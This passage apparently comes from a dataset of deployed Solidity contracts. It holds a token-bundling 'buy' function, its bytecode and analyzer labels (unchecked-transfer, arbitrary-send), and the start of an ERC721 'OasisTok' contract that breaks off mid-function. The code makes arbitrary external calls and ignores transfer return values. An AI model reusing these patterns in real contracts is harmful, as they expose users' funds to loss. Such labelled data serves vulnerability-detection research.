uint[] _datasIndexes, // including 0 and LENGTH values
uint256[] _values
)
public
payable
{
require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH");
require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges");
for (uint i = 0; i < _exchanges.length; i++) {
bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]);
for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) {
data[j - _datasIndexes[i]] = _datas[j];
}
if (_throughToken != address(0) && i > 0) {
_throughToken.transfer(_exchanges[i], _values[i]);
require(_exchanges[i].call(data), "buy: exchange arbitrary call failed");
} else {
require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed");
}
}
uint tokensCount = _mtkn.tokensCount();
uint256[] memory amounts = new uint256[](tokensCount);
for (i = 0; i < tokensCount; i++) {
ERC20 token = _mtkn.tokens(i);
amounts[i] = token.balanceOf(this);
token.approve(_mtkn, 0);
token.approve(_mtkn, amounts[i]);
}
_mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) {
_throughToken.transfer(msg.sender, _throughToken.balanceOf(this));
}
}
}
|
0x6080604052600436106100745763ffffffff60e060020a60003504166317ffc3208114610079578063319e8bd21461009c578063715018a6146101aa5780638da5cb5b146101bf5780639dbb5423146101f0578063f2fde38b146102fe578063f5cbc4571461031f578063fc67191514610435575b600080fd5b34801561008557600080fd5b5061009a600160a060020a036004351661054b565b005b604080516020600460443581810135838102808601850190965280855261009a958335600160a060020a03908116966024803590921696369695606495929493019282918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506106019650505050505050565b3480156101b657600080fd5b5061009a61103b565b3480156101cb57600080fd5b506101d46110a7565b60408051600160a060020a039092168252519081900360200190f35b604080516020600460443581810135838102808601850190965280855261009a958335600160a060020a03908116966024803590921696369695606495929493019282918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506110b69650505050505050565b34801561030a57600080fd5b5061009a600160a060020a03600435166118d5565b604080516064356004818101356020818102858101820190965281855261009a95600160a060020a0384358116966024803597604435909316963696909560849593949092019290918291908501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506118f89650505050505050565b604080516064356004818101356020818102858101820190965281855261009a95600160a060020a0384358116966024803597604435909316963696909560849593949092019290918291908501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506124b69650505050505050565b60008054600160a060020a0316331461056357600080fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156105ae57600080fd5b505af11580156105c2573d6000803e3d6000fd5b505050506040513d60208110156105d857600080fd5b50516000549091506105fd90600160a060020a0384811691168363ffffffff612d8816565b5050565b60006060600080606060008951600101885114151561066c576040805160e560020a62461bcd02815260206004820152603a6024820152600080516020612f098339815191526044820152600080516020612ee9833981519152606482015290519081900360840190fd5b89518751146106c7576040805160e560020a62461bcd0281526020600482015260366024820152600080516020612f698339815191526044820152600080516020612f49833981519152606482015290519081900360840190fd5b600095505b8951861015610aa55787868151811015156106e357fe5b9060200190602002015188876001018151811015156106fe57fe5b90602001906020020151036040519080825280601f01601f191660200182016040528015610736578160200160208202803883390190505b509450878681518110151561074757fe5b9060200190602002015193505b878660010181518110151561076557fe5b906020019060200201518410156107e157888481518110151561078457fe5b90602001015160f860020a900460f860020a028589888151811015156107a657fe5b9060200190602002015186038151811015156107be57fe5b906020010190600160f860020a031916908160001a905350600190930192610754565b600160a060020a038b16158015906107f95750600086115b156109a1578a600160a060020a031663a9059cbb8b8881518110151561081b57fe5b90602001906020020151898981518110151561083357fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561088f57600080fd5b505af11580156108a3573d6000803e3d6000fd5b505050506040513d60208110156108b957600080fd5b505089518a90879081106108c957fe5b90602001906020020151600160a060020a03168560405180828051906020019080838360005b838110156109075781810151838201526020016108ef565b50505050905090810190601f1680156109345780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1915050151561099c576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612f29833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b610a9a565b89868151811015156109af57fe5b90602001906020020151600160a060020a031687878151811015156109d057fe5b906020019060200201518660405180828051906020019080838360005b83811015610a055781810151838201526020016109ed565b50505050905090810190601f168015610a325780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515610a9a576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612f29833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b6001909501946106cc565b8b600160a060020a031663a64ed8ba6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610ae357600080fd5b505af1158015610af7573d6000803e3d6000fd5b505050506040513d6020811015610b0d57600080fd5b5051604080518281526020808402820101909152909350838015610b3b578160200160208202803883390190505b509150600095505b82861015610d9b578b600160a060020a0316634f64b2be876040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015610b9457600080fd5b505af1158015610ba8573d6000803e3d6000fd5b505050506040513d6020811015610bbe57600080fd5b50516040805160e060020a6370a082310281523060048201529051919250600160a060020a038316916370a08231916024808201926020929091908290030181600087803b158015610c0f57600080fd5b505af1158015610c23573d6000803e3d6000fd5b505050506040513d6020811015610c3957600080fd5b50518251839088908110610c4957fe5b906020019060200201818152505080600160a060020a031663095ea7b38d60006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d6020811015610ce557600080fd5b50508151600160a060020a0382169063095ea7b3908e9085908a908110610d0857fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610d6457600080fd5b505af1158015610d78573d6000803e3d6000fd5b505050506040513d6020811015610d8e57600080fd5b5050600190950194610b43565b600160a060020a038c166322393ef433610dbd346103e863ffffffff612e2716565b60405160e060020a63ffffffff8516028152600160a060020a03831660048201908152602482018390526060604483019081528851606484015288518993608401906020808601910280838360005b83811015610e24578181015183820152602001610e0c565b50505050905001945050505050600060405180830381600087803b158015610e4b57600080fd5b505af1158015610e5f573d6000803e3d6000fd5b5050506000303111159050610e9d576040513390303180156108fc02916000818181858888f19350505050158015610e9b573d6000803e3d6000fd5b505b600160a060020a038b1615801590610f2c57506040805160e060020a6370a082310281523060048201529051600091600160a060020a038e16916370a082319160248082019260209290919082900301818787803b158015610efe57600080fd5b505af1158015610f12573d6000803e3d6000fd5b505050506040513d6020811015610f2857600080fd5b5051115b1561102d576040805160e060020a6370a082310281523060048201529051600160a060020a038d169163a9059cbb91339184916370a08231916024808201926020929091908290030181600087803b158015610f8757600080fd5b505af1158015610f9b573d6000803e3d6000fd5b505050506040513d6020811015610fb157600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561100057600080fd5b505af1158015611014573d6000803e3d6000fd5b505050506040513d602081101561102a57600080fd5b50505b505050505050505050505050565b600054600160a060020a0316331461105257600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600060606000806060600089516001018851141515611121576040805160e560020a62461bcd02815260206004820152603a6024820152600080516020612f098339815191526044820152600080516020612ee9833981519152606482015290519081900360840190fd5b895187511461117c576040805160e560020a62461bcd0281526020600482015260366024820152600080516020612f698339815191526044820152600080516020612f49833981519152606482015290519081900360840190fd5b600095505b89518610156115df57878681518110151561119857fe5b9060200190602002015188876001018151811015156111b357fe5b90602001906020020151036040519080825280601f01601f1916602001820160405280156111eb578160200160208202803883390190505b50945087868151811015156111fc57fe5b9060200190602002015193505b878660010181518110151561121a57fe5b9060200190602002015184101561129657888481518110151561123957fe5b90602001015160f860020a900460f860020a0285898881518110151561125b57fe5b90602001906020020151860381518110151561127357fe5b906020010190600160f860020a031916908160001a905350600190930192611209565b600160a060020a038b16158015906112ae5750600086115b156114db578a600160a060020a031663dd62ed3e308c898151811015156112d157fe5b60209081029091018101516040805160e060020a63ffffffff8716028152600160a060020a039485166004820152939091166024840152516044808401938290030181600087803b15801561132557600080fd5b505af1158015611339573d6000803e3d6000fd5b505050506040513d602081101561134f57600080fd5b505115156113f5578a600160a060020a031663095ea7b38b8881518110151561137457fe5b60209081029091018101516040805160e060020a63ffffffff8616028152600160a060020a039092166004830152600019602483015251604480830193928290030181600087803b1580156113c857600080fd5b505af11580156113dc573d6000803e3d6000fd5b505050506040513d60208110156113f257600080fd5b50505b898681518110151561140357fe5b90602001906020020151600160a060020a03168560405180828051906020019080838360005b83811015611441578181015183820152602001611429565b50505050905090810190601f16801561146e5780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af191505015156114d6576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612f29833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b6115d4565b89868151811015156114e957fe5b90602001906020020151600160a060020a0316878781518110151561150a57fe5b906020019060200201518660405180828051906020019080838360005b8381101561153f578181015183820152602001611527565b50505050905090810190601f16801561156c5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af19250505015156115d4576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612f29833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b600190950194611181565b8b600160a060020a031663a64ed8ba6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561161d57600080fd5b505af1158015611631573d6000803e3d6000fd5b505050506040513d602081101561164757600080fd5b5051604080518281526020808402820101909152909350838015611675578160200160208202803883390190505b509150600095505b82861015610d9b578b600160a060020a0316634f64b2be876040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b1580156116ce57600080fd5b505af11580156116e2573d6000803e3d6000fd5b505050506040513d60208110156116f857600080fd5b50516040805160e060020a6370a082310281523060048201529051919250600160a060020a038316916370a08231916024808201926020929091908290030181600087803b15801561174957600080fd5b505af115801561175d573d6000803e3d6000fd5b505050506040513d602081101561177357600080fd5b5051825183908890811061178357fe5b906020019060200201818152505080600160a060020a031663095ea7b38d60006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156117f557600080fd5b505af1158015611809573d6000803e3d6000fd5b505050506040513d602081101561181f57600080fd5b50508151600160a060020a0382169063095ea7b3908e9085908a90811061184257fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561189e57600080fd5b505af11580156118b2573d6000803e3d6000fd5b505050506040513d60208110156118c857600080fd5b505060019095019461167d565b600054600160a060020a031633146118ec57600080fd5b6118f581612e56565b50565b6000606060008060008089516001018851141515611962576040805160e560020a62461bcd02815260206004820152603a6024820152600080516020612f098339815191526044820152600080516020612ee9833981519152606482015290519081900360840190fd5b89518751146119bd576040805160e560020a62461bcd0281526020600482015260366024820152600080516020612f698339815191526044820152600080516020612f49833981519152606482015290519081900360840190fd5b600095505b8951861015611d9b5787868151811015156119d957fe5b9060200190602002015188876001018151811015156119f457fe5b90602001906020020151036040519080825280601f01601f191660200182016040528015611a2c578160200160208202803883390190505b5094508786815181101515611a3d57fe5b9060200190602002015193505b8786600101815181101515611a5b57fe5b90602001906020020151841015611ad7578884815181101515611a7a57fe5b90602001015160f860020a900460f860020a02858988815181101515611a9c57fe5b906020019060200201518603815181101515611ab457fe5b906020010190600160f860020a031916908160001a905350600190930192611a4a565b600160a060020a038b1615801590611aef5750600086115b15611c97578a600160a060020a031663a9059cbb8b88815181101515611b1157fe5b906020019060200201518989815181101515611b2957fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015611b8557600080fd5b505af1158015611b99573d6000803e3d6000fd5b505050506040513d6020811015611baf57600080fd5b505089518a9087908110611bbf57fe5b90602001906020020151600160a060020a03168560405180828051906020019080838360005b83811015611bfd578181015183820152602001611be5565b50505050905090810190601f168015611c2a5780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af19150501515611c92576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612f29833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b611d90565b8986815181101515611ca557fe5b90602001906020020151600160a060020a03168787815181101515611cc657fe5b906020019060200201518660405180828051906020019080838360005b83811015611cfb578181015183820152602001611ce3565b50505050905090810190601f168015611d285780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515611d90576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612f29833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b6001909501946119c2565b8c600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015611dd957600080fd5b505af1158015611ded573d6000803e3d6000fd5b505050506040513d6020811015611e0357600080fd5b5051604080517fa64ed8ba00000000000000000000000000000000000000000000000000000000815290519195506000199450600160a060020a038f169163a64ed8ba916004808201926020929091908290030181600087803b158015611e6957600080fd5b505af1158015611e7d573d6000803e3d6000fd5b505050506040513d6020811015611e9357600080fd5b505195505b6000861115612206578c600160a060020a0316634f64b2be600188036040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015611eed57600080fd5b505af1158015611f01573d6000803e3d6000fd5b505050506040513d6020811015611f1757600080fd5b8101908080519060200190929190505050915081600160a060020a031663095ea7b38e60006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015611f8e57600080fd5b505af1158015611fa2573d6000803e3d6000fd5b505050506040513d6020811015611fb857600080fd5b81019080805190602001909291905050505081600160a060020a031663095ea7b38e84600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561203557600080fd5b505af1158015612049573d6000803e3d6000fd5b505050506040513d602081101561205f57600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156120ae57600080fd5b505af11580156120c2573d6000803e3d6000fd5b505050506040513d60208110156120d857600080fd5b50506040805160e060020a6370a08231028152600160a060020a038f8116600483015291516121ec928516916370a082319160248083019260209291908290030181600087803b15801561212b57600080fd5b505af115801561213f573d6000803e3d6000fd5b505050506040513d602081101561215557600080fd5b50516040805160e060020a6370a0823102815230600482015290516121e091600160a060020a038716916370a08231916024808201926020929091908290030181600087803b1580156121a757600080fd5b505af11580156121bb573d6000803e3d6000fd5b505050506040513d60208110156121d157600080fd5b5051879063ffffffff612e2716565b9063ffffffff612ed316565b9050828110156121fa578092505b60001990950194611e98565b8b83101561225e576040805160e560020a62461bcd02815260206004820152601c60248201527f6275793a2072657475726e2076616c756520697320746f6f206c6f7700000000604482015290519081900360640190fd5b604080517feba3cdfe000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a038f169163eba3cdfe91604480830192600092919082900301818387803b1580156122c557600080fd5b505af11580156122d9573d6000803e3d6000fd5b5050506000303111159050612317576040513390303180156108fc02916000818181858888f19350505050158015612315573d6000803e3d6000fd5b505b600160a060020a038b16158015906123a657506040805160e060020a6370a082310281523060048201529051600091600160a060020a038e16916370a082319160248082019260209290919082900301818787803b15801561237857600080fd5b505af115801561238c573d6000803e3d6000fd5b505050506040513d60208110156123a257600080fd5b5051115b156124a7576040805160e060020a6370a082310281523060048201529051600160a060020a038d169163a9059cbb91339184916370a08231916024808201926020929091908290030181600087803b15801561240157600080fd5b505af1158015612415573d6000803e3d6000fd5b505050506040513d602081101561242b57600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561247a57600080fd5b505af115801561248e573d6000803e3d6000fd5b505050506040513d60208110156124a457600080fd5b50505b50505050505050505050505050565b6000606060008060008089516001018851141515612520576040805160e560020a62461bcd02815260206004820152603a6024820152600080516020612f098339815191526044820152600080516020612ee9833981519152606482015290519081900360840190fd5b895187511461257b576040805160e560020a62461bcd0281526020600482015260366024820152600080516020612f698339815191526044820152600080516020612f49833981519152606482015290519081900360840190fd5b600095505b89518610156129de57878681518110151561259757fe5b9060200190602002015188876001018151811015156125b257fe5b90602001906020020151036040519080825280601f01601f1916602001820160405280156125ea578160200160208202803883390190505b50945087868151811015156125fb57fe5b9060200190602002015193505b878660010181518110151561261957fe5b9060200190602002015184101561269557888481518110151561263857fe5b90602001015160f860020a900460f860020a0285898881518110151561265a57fe5b90602001906020020151860381518110151561267257fe5b906020010190600160f860020a031916908160001a905350600190930192612608565b600160a060020a038b16158015906126ad5750600086115b156128da578a600160a060020a031663dd62ed3e308c898151811015156126d057fe5b60209081029091018101516040805160e060020a63ffffffff8716028152600160a060020a039485166004820152939091166024840152516044808401938290030181600087803b15801561272457600080fd5b505af1158015612738573d6000803e3d6000fd5b505050506040513d602081101561274e57600080fd5b505115156127f4578a600160a060020a031663095ea7b38b8881518110151561277357fe5b60209081029091018101516040805160e060020a63ffffffff8616028152600160a060020a039092166004830152600019602483015251604480830193928290030181600087803b1580156127c757600080fd5b505af11580156127db573d6000803e3d6000fd5b505050506040513d60208110156127f157600080fd5b50505b898681518110151561280257fe5b90602001906020020151600160a060020a03168560405180828051906020019080838360005b83811015612840578181015183820152602001612828565b50505050905090810190601f16801561286d5780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af191505015156128d5576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612f29833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b6129d3565b89868151811015156128e857fe5b90602001906020020151600160a060020a0316878781518110151561290957fe5b906020019060200201518660405180828051906020019080838360005b8381101561293e578181015183820152602001612926565b50505050905090810190601f16801561296b5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af19250505015156129d3576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612f29833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b600190950194612580565b8c600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015612a1c57600080fd5b505af1158015612a30573d6000803e3d6000fd5b505050506040513d6020811015612a4657600080fd5b5051604080517fa64ed8ba00000000000000000000000000000000000000000000000000000000815290519195506000199450600160a060020a038f169163a64ed8ba916004808201926020929091908290030181600087803b158015612aac57600080fd5b505af1158015612ac0573d6000803e3d6000fd5b505050506040513d6020811015612ad657600080fd5b505195505b6000861115612206578c600160a060020a0316634f64b2be600188036040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015612b3057600080fd5b505af1158015612b44573d6000803e3d6000fd5b505050506040513d6020811015612b5a57600080fd5b8101908080519060200190929190505050915081600160a060020a031663095ea7b38e60006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015612bd157600080fd5b505af1158015612be5573d6000803e3d6000fd5b505050506040513d6020811015612bfb57600080fd5b81019080805190602001909291905050505081600160a060020a031663095ea7b38e84600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015612c7857600080fd5b505af1158015612c8c573d6000803e3d6000fd5b505050506040513d6020811015612ca257600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b158015612cf157600080fd5b505af1158015612d05573d6000803e3d6000fd5b505050506040513d6020811015612d1b57600080fd5b50506040805160e060020a6370a08231028152600160a060020a038f811660048301529151612d6e928516916370a082319160248083019260209291908290030181600087803b15801561212b57600080fd5b905082811015612d7c578092505b60001990950194612adb565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015612deb57600080fd5b505af1158015612dff573d6000803e3d6000fd5b505050506040513d6020811015612e1557600080fd5b50511515612e2257600080fd5b505050565b6000821515612e3857506000612e50565b50818102818382811515612e4857fe5b0414612e5057fe5b92915050565b600160a060020a0381161515612e6b57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008183811515612ee057fe5b049392505050560077697468203020616e6420656e642077697468204c454e4754480000000000006275793a205f6461746173496e64657865732073686f756c64207374617274206275793a2065786368616e6765206172626974726172792063616c6c2066616965206c656e677468206173205f65786368616e676573000000000000000000006275793a205f76616c7565732073686f756c642068617665207468652073616da165627a7a72305820cb7588c6dab9c0273947bf2bba3978099c64fc0717f78b512e0cf8d84ca376360029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,085 |
0x36194ab80f7649572cab9ec524950df32f638b08
|
pragma solidity ^0.6.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
abstract contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
//function name() public view returns (string memory name);
//function symbol() public view returns (string memory symbol);
//function totalSupply() public view returns (uint256 totalSupply);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) external virtual view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external virtual view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either `approve` or `setApproveForAll`.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external virtual;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either `approve` or `setApproveForAll`.
*/
function transferFrom(address from, address to, uint256 tokenId) external virtual;
function approve(address to, uint256 tokenId) external virtual;
function getApproved(uint256 tokenId) external virtual view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public virtual;
function isApprovedForAll(address owner, address operator) public virtual view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
abstract contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public virtual returns (bytes4);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract OasisTok is IERC721
{
using SafeMath for uint256;
event tokenMinted(uint256 tokenId, address owner);
event tokenBurned(uint256 tokenId);
event TokenTransferred(address from, address to, uint256 tokenId);
event ApprovalForAll(address from, address to, bool approved);
// Mapping ontology id to Hash(properties)
struct Multihash
{
uint8 hashFunction;
uint8 size;
bytes32 digest;
}
struct OSC
{
Multihash ontology;
Multihash query;
uint256 prev;
}
mapping(bytes32 => uint) ontoHashToId;
mapping (uint => address) ontologyOwner;
mapping (uint => bool) ontologyActive;
mapping (address => uint) public ownerOntoCount;
// Mapping from token ID to approved address
mapping (uint => address) ontologyApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) operatorApprovals;
address _contOwner;
string _name;
string _symbol;
OSC[] private ontologies;
constructor(string memory name, string memory symbol)
public
{
_contOwner = msg.sender;
_name = name;
_symbol = symbol;
//burn token 0
bytes32 hash = keccak256(abi.encodePacked(uint8(0), uint8(0), bytes32(0), uint8(0), uint8(0), bytes32(0), uint256(0)));
OSC memory osc= OSC(Multihash(uint8(0), uint8(0), bytes32(0)), Multihash(uint8(0),uint8(0), bytes32(0)), uint256(0));
ontologies.push(osc);
ontoHashToId[hash] = 0;
ontologyOwner[0] = address(0);
ontologyActive[0] = false;
}
function mint (uint8 hashO, uint8 sizeO, bytes32 digestO, uint8 hashQ, uint8 sizeQ, bytes32 digestQ, uint256 prev) public
{
if(tokenExists(hashO, sizeO, digestO, hashQ, sizeQ, digestQ, prev))
{
revert("This token already exist!");
}
if (prev != 0 && !tokenIDExists(prev))
{
revert("Previous token does not exists or different from 0!");
}
bytes32 hash = keccak256(abi.encodePacked(hashO, sizeO, digestO, hashQ, sizeQ, digestQ, prev));
OSC memory osc= OSC(Multihash(hashO, sizeO, digestO), Multihash(hashQ, sizeQ, digestQ), prev);
ontologies.push(osc);
uint256 id = ontologies.length;
id--;
ontoHashToId[hash] = id;
ontologyOwner[id] = msg.sender;
ontologyActive[id] = true;
ownerOntoCount[msg.sender] = SafeMath.add(ownerOntoCount[msg.sender], 1);
emit tokenMinted (id, msg.sender);
}
function burn (uint256 id) external
{
require(msg.sender == ontologyOwner[id]);
require(tokenIDExists(id));
ontologyActive[id]= false;
ownerOntoCount[msg.sender] = SafeMath.sub(ownerOntoCount[msg.sender], 1);
//ontologyOwner[id]=address(0);
emit tokenBurned(id);
}
function transferFrom(address from, address to, uint256 id) public override
{
require(from != address(0) && to != address(0));
require(_isApprovedOrOwner(msg.sender, id));
require(tokenIDExists(id));
ontologyOwner[id] = to;
_clearApproval(to, id);
ownerOntoCount[to] = SafeMath.add(ownerOntoCount[to], 1);
ownerOntoCount[from] = SafeMath.sub(ownerOntoCount[from], 1);
emit TokenTransferred(from, to,id);
}
function tokenExists(uint8 hashO, uint8 sizeO, bytes32 digestO, uint8 hashQ, uint8 sizeQ, bytes32 digestQ, uint256 prev) public view returns (bool)
{
bytes32 hash = keccak256(abi.encodePacked(hashO, sizeO, digestO, hashQ, sizeQ, digestQ, prev));
